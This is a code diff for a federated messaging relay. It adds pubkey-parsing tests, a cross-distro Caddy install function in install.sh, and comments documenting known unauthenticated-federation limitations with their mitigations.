145163 let ob = to_ob(&key);
146164 assert_eq!(try_parse_pubkey(&hex_str), Some(hex_str.clone()));
@@ -155,15 +173,33 @@ mod tests {
155173 assert_eq!(try_parse_pubkey(""), None);
156174 }
157175
176+ #[test]
177+ fn try_parse_rejects_a_32_byte_key_that_is_not_a_curve_point() {
178+ assert!(
179+ ed25519_dalek::VerifyingKey::from_bytes(&NOT_A_POINT).is_err(),
180+ "fixture must really be off-curve"
181+ );
182+ // Both spellings of it: raw hex, and the @p it round-trips through.
183+ assert_eq!(try_parse_pubkey(&hex::encode(NOT_A_POINT)), None);
184+ assert_eq!(try_parse_pubkey(&to_ob(&NOT_A_POINT)), None);
185+ // The syllable encoding itself is still lossless — only the key check fails.
186+ assert_eq!(from_ob(&to_ob(&NOT_A_POINT)), Some(NOT_A_POINT.to_vec()));
187+ }
188+
158189 #[test]
159190 fn ob_parsing_is_case_insensitive() {
160− let key = [0xabu8; 32];
191+ let key = real_key();
161192 let hex_str = hex::encode(key);
162193 let ob = to_ob(&key);
163194 assert_eq!(from_ob(&ob.to_uppercase()), Some(key.to_vec()));
164195 assert_eq!(try_parse_pubkey(&ob.to_uppercase()), Some(hex_str.clone()));
165196 // Mixed case, as a QR scan or a paste from a title-cased field might give.
166− assert_eq!(try_parse_pubkey(&ob.replace("ler", "Ler")), Some(hex_str));
197+ let mixed: String = ob
198+ .chars()
199+ .enumerate()
200+ .map(|(i, c)| if i % 2 == 0 { c.to_ascii_uppercase() } else { c })
201+ .collect();
202+ assert_eq!(try_parse_pubkey(&mixed), Some(hex_str));
167203 }
168204
169205 /// `part.len()` is a *byte* count, so a 6-byte syllable holding a multi-byte
install.sh+38−5
@@ -34,9 +34,46 @@ detect_platform() {
3434 *) echo "error: unsupported architecture: $arch" >&2; exit 1 ;;
3535 esac
3636
37+ # CI only publishes server-macos-arm64; there is no Intel macOS asset, so bail
38+ # out here rather than 404ing on the download.
39+ if [ "$os_name" = "macos" ] && [ "$arch_name" != "arm64" ]; then
40+ echo "error: only arm64 (Apple silicon) macOS is supported; no release asset is built for Intel macOS" >&2
41+ exit 1
42+ fi
43+
3744 echo "${os_name}-${arch_name}"
3845}
3946
47+# Install Caddy with whichever package manager the host actually has. The
48+# upstream Debian repo recipe is apt-only; on RHEL-family hosts (which this
49+# script otherwise supports — see the firewalld branch below) `apt-get` does not
50+# exist and `set -e` would abort the whole install. Caddy ships an official COPR
51+# repo there instead.
52+install_caddy() {
53+ if command -v apt-get >/dev/null 2>&1; then
54+ apt-get update
55+ apt-get install -y debian-keyring debian-archive-keyring apt-transport-https curl
56+ curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
57+ curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | tee /etc/apt/sources.list.d/caddy-stable.list
58+ apt-get update
59+ apt-get install -y caddy
60+ elif command -v dnf >/dev/null 2>&1; then
61+ dnf install -y 'dnf-command(copr)'
62+ dnf copr enable -y @caddy/caddy
63+ dnf install -y caddy
64+ elif command -v yum >/dev/null 2>&1; then
65+ yum install -y yum-plugin-copr
66+ yum copr enable -y @caddy/caddy
67+ yum install -y caddy
68+ elif command -v brew >/dev/null 2>&1; then
69+ brew install caddy
70+ else
71+ echo "error: no supported package manager found (apt-get, dnf, yum, brew)" >&2
72+ echo "install Caddy manually (https://caddyserver.com/docs/install), then re-run" >&2
73+ exit 1
74+ fi
75+}
76+
4077PLATFORM=$(detect_platform)
4178ASSET="server-${PLATFORM}"
4279
@@ -101,11 +138,7 @@ EOF
101138
102139 if ! command -v caddy >/dev/null 2>&1; then
103140 echo "Installing Caddy..."
104− apt-get install -y debian-keyring debian-archive-keyring apt-transport-https curl
105− curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
106− curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | tee /etc/apt/sources.list.d/caddy-stable.list
107− apt-get update
108− apt-get install -y caddy
141+ install_caddy
109142 fi
110143
111144 mkdir -p /etc/caddy
server.knot+67
@@ -564,6 +564,18 @@ isBadServerName = \sn -> sn == "" || sn == "localhost" || hasPrefix "localhost:"
564564-- The `no_presence` check bounds federated forwards to currently-online keys.
565565
566566-- Plain ip match (sessions with empty ip skip the check).
567+--
568+-- Mobile tradeoff: binding a session to an IP means a client that moves between
569+-- networks (Wi-Fi <-> cellular, or a carrier NAT re-assignment mid-session) no
570+-- longer matches its session row, gets a 401, and must re-run the full
571+-- challenge/verify handshake. That is the correct security posture — it is what
572+-- stops a stolen Bearer token from being replayed from anywhere — but it is
573+-- chatty for exactly the clients this protocol targets: phones change networks
574+-- constantly, so re-auth is a routine event, not an exceptional one. Clients are
575+-- expected to treat a 401 as "re-authenticate and retry", not as a fatal error.
576+-- Operators who front the relay with a proxy that does not set a stable
577+-- X-Forwarded-For (or who run with `--trustForwardedFor=False`) get an empty
578+-- bound IP, which disables the check entirely — see `clientIpOf`.
567579matchIp : Text -> Text -> Bool
568580matchIp = \clientIp sessionIp -> sessionIp == "" || clientIp == sessionIp
569581
@@ -796,6 +808,14 @@ retryPendingForwards = do
796808-- Forward queued messages to a server when a remote key comes online.
797809-- Skips messages already delivered to `server` (tracked via Message.deliveredTo)
798810-- so a presence re-announce after a TTL lapse doesn't duplicate delivery.
811+--
812+-- SECURITY: this function trusts `*presence`, and `*presence` is writable by any
813+-- unauthenticated host via `/federation/gossip`. A forged `online` announcement
814+-- therefore redirects a victim's queued ciphertext to the attacker's server —
815+-- see the gossip-redirect note on `handleRecvGossip` for the full threat model
816+-- and why it is an accepted v0.1 limitation. Do not add a caller that widens
817+-- what this forwards (e.g. dropping the `deliveredTo` filter) without revisiting
818+-- that note.
799819forwardQueuedToServer : PubkeyHex -> ServerName -> IO {rw *forwards, r *messages} {}
800820forwardQueuedToServer = \pubkey server -> atomic (do
801821 msgs <- *messages
@@ -1089,6 +1109,32 @@ forkForwardsTo = \to encryptedBlob servers -> forEach servers (\server -> when (
10891109-- that transition offline → online, flushes any locally-buffered messages via
10901110-- `forwardQueuedToServer`. Events with an unrecognized `eventType` or no
10911111-- `pubkey` are skipped (forward-compat) rather than rejecting the batch.
1112+--
1113+-- SECURITY (accepted v0.1 limitation — gossip redirect / ciphertext theft):
1114+-- this endpoint is unauthenticated, and nothing ties a gossip event to the key
1115+-- it claims to speak for. Any host that can reach us may announce an arbitrary
1116+-- victim pubkey as `online` at itself; we write that presence row, and the very
1117+-- next `forwardQueuedToServer` hands the victim's queued ciphertext to the
1118+-- attacker's host. The attacker cannot *read* those messages — the payload is
1119+-- sealed to the victim's key, and the sender's identity and signature live
1120+-- inside the AEAD (PROTOCOL.md §5) — but it does harvest metadata a relay is
1121+-- otherwise never supposed to concentrate: which keys are receiving traffic,
1122+-- how much, and when. Worse, because our copy is pruned once it is marked
1123+-- `deliveredTo` the attacker's host, a forged announcement can also *withhold*
1124+-- delivery: the ciphertext goes to a host that will never serve it to the
1125+-- victim's client. So this is a confidentiality-preserving but availability-
1126+-- and metadata-affecting attack.
1127+--
1128+-- Bounded, not prevented, by: the SSRF deny-list (`isBadServerName`), the
1129+-- `no_presence` gate on the inbound side, per-IP rate limits, and the gossip
1130+-- TTL (`onlineGossipTtl`) capping how long one forged row survives.
1131+--
1132+-- The fix is peer authentication: require a gossip event to carry a signature
1133+-- from the pubkey it announces (proving the key really did authenticate at
1134+-- `fromServer`), and/or authenticate the peer relay itself so an unknown host
1135+-- cannot inject presence at all. Deferred past v0.1 because it needs a
1136+-- key-to-home-server binding the protocol does not yet define.
1137+-- PROTOCOL.md §10 enumerates what open federation does and does not protect.
10921138handleRecvGossip : [GossipEvent] -> Text -> IO {r *messages, rw *forwards, rw *presence, clock} (Result HttpError {})
10931139handleRecvGossip = \events fromServer -> do
10941140 t <- now
@@ -1131,6 +1177,27 @@ handleRecvGossip = \events fromServer -> do
11311177-- Re-delivery of an already-stored (toKey, blob) pair is treated as success
11321178-- without a second append, so a sender whose success response was lost can
11331179-- retry without duplicating the message in the recipient's mailbox.
1180+--
1181+-- SECURITY (accepted v0.1 limitation — unauthenticated mailbox injection):
1182+-- this endpoint authenticates nobody. Any host that can reach us may append an
1183+-- arbitrary blob to any currently-online local key's mailbox, and the recipient
1184+-- will poll it down like any other message. This is a spam/flood surface, not a
1185+-- forgery one: the sender's identity and signature live *inside* the AEAD
1186+-- (PROTOCOL.md §5), so an injected blob that the recipient's key cannot open —
1187+-- or that opens but carries no valid inner signature — is dropped by the client
1188+-- and can never impersonate a contact. What an attacker gets is unsolicited
1189+-- rows in the recipient's mailbox and in `*messages` (storage + bandwidth), not
1190+-- a message the recipient will attribute to someone else.
1191+--
1192+-- Bounded, not prevented, by: the `no_presence` gate (only currently-online
1193+-- local keys are injectable, so an attacker must first observe or force
1194+-- presence), per-IP rate limits on the route, `maxBlobLen`, the dedupe below
1195+-- (the same blob cannot be appended twice), and `messageMaxAge` pruning.
1196+--
1197+-- The fix is the same one the gossip-redirect note calls for: authenticate the
1198+-- peer relay, so an unknown host cannot write to `*messages` at all. Deferred
1199+-- past v0.1. PROTOCOL.md §10 enumerates what open federation does and does not
1200+-- protect.
11341201handleForwardMessage : PubkeyHex -> BlobHex -> IO {rw *messages, r *presence, rw *seqCounter, clock} (Result HttpError {})
11351202handleForwardMessage = \toKey encryptedBlob -> do
11361203 t <- now